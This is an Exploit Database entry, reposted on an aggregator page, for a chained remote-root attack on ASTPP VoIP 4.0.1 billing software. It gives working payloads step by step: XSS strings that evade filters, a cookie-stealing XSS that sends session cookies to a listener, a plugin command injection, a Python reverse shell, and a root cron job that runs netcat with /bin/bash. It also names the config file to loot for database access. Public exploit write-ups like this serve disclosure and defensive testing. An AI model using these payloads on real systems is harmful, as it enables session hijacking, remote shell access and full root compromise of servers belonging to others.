ASTPP VoIP 4.0.1 – Remote Code Execution

• Exploit Database
• 14 阅读

• 作者： Fabien AUNAY
  日期： 2020-01-08
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47889/

• # Exploit Title: ASTPP VoIP 4.0.1 - Remote Code Execution
  # Date: 2019-11-18
  # Exploit Author: Fabien AUNAY
  # Vendor Homepage: https://www.astppbilling.org/
  # Software Link: https://github.com/iNextrix/ASTPP/tree/v4.0.1
  # Version: 4.0.1 vendor default setup script
  # Tested on: Debian 9 - CentOS 7
  # CVE : -
  
  ###########################################################################################################
  ASTPP 4.0.1 VoIP Billing Chained Remote Root
  A Smart TelePhony Platform for Individual Business, Wholesale and Residential VoIP Service Providers!
  It is available as an open source solution. It means without any investment, one can start his telephony
  business using ASTPP.
  ASTPP, being one of the most powerful VoIP Billing Software, thrives to benefit its users by providing a
  comprehensive telephony solution. This open source solution has lifted itself up from a mere VoIP billing
  solution to “A Smart TelePhony Platform”.
  The latest version of ASTPP is provisioned with some advanced functional modules which are designed
  to eliminate the need of multiple solutions to run a VoIP business. It has integrated hosted IP PBX, Class
  4/5 Softswitch, and complete invoicing and billing solution developed by leveraging Smart
  Technology.
  
  Steps are as follows:
  Objective 1 : Edit the SIP device and try to test user inputs
  Objective 2 : Try to trigger a XSS
  Objective 3 : Try to evade filters
  Objective 4 : Session Hijack
  Objective 5 : Plugin command injection
  Objective 6 : Reverse shell
  Objective 7 : Root the system
  Objective 8 : Looting
  
  ###########################################################################################################
  
  Objective 1 : html code in SIP Caller Number
  POC: <b>ASTPP html test</b>
  
  Objective 2 : XSS injection in SIP Caller Name
  POC: <svg/onload=alert('XsS-Inj3cTIoN')>
  
  Objective 3 : XSS document.cookie evasion
  POC: <svg/onload=alert(document/*foo*/./*bar*/cookie)>
  
  Objective 4 : XSS document.cookie grabber
  POC: <svg/onload=window.open("http://127.0.0.1:8080/?"+document/*foo*/./*bar*/cookie)>
  
  Alternative : if the user input is limited, it is possible in some cases to modify the length with the inspector
  POC: <input data-ripple="" type="text" name="name" value="1" placeholder="" size="20" maxlength="30" class="col-md-12 form-control form-control-lg">
  POC': <input data-ripple="" type="text" name="name" value="1" placeholder="" size="20" maxlength="250" class="col-md-12 form-control form-control-lg">
  
  Objective 5 : Plugin command injection
  After administrator cookie and session hijack, it is possible to install some stuff. ASTPP allows one of the best to perform a system command injection.
  The get addons sub menu, allow attacker to install “Switch Monitoring”. Use the system command followed by your instructions and press 'Submit'
  POC : system date;id;whoami
  
  Objective 6 : Reverse shell
  POC: system python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  
  Objective 7 : Root the system
  A vulnerability was identified in web Crons menu. The cron task was executed with root permissions due to a wrong configuration of the installation script.
  Before use it, you should step back to your reverse shell and check the date of the server.
  
  POC:
  Name: Exploit cron
  Command: nc 127.0.0.1 8080 -e /bin/bash
  Interval Type: Minute
  Interval: 1
  Next Execution Date: xxxx-xx-xx yy:yy:yy
  Status: Active
  
  Objective 8 : Looting
  The /var/lib/astpp/astpp-config.conf file contains all information to explore the database.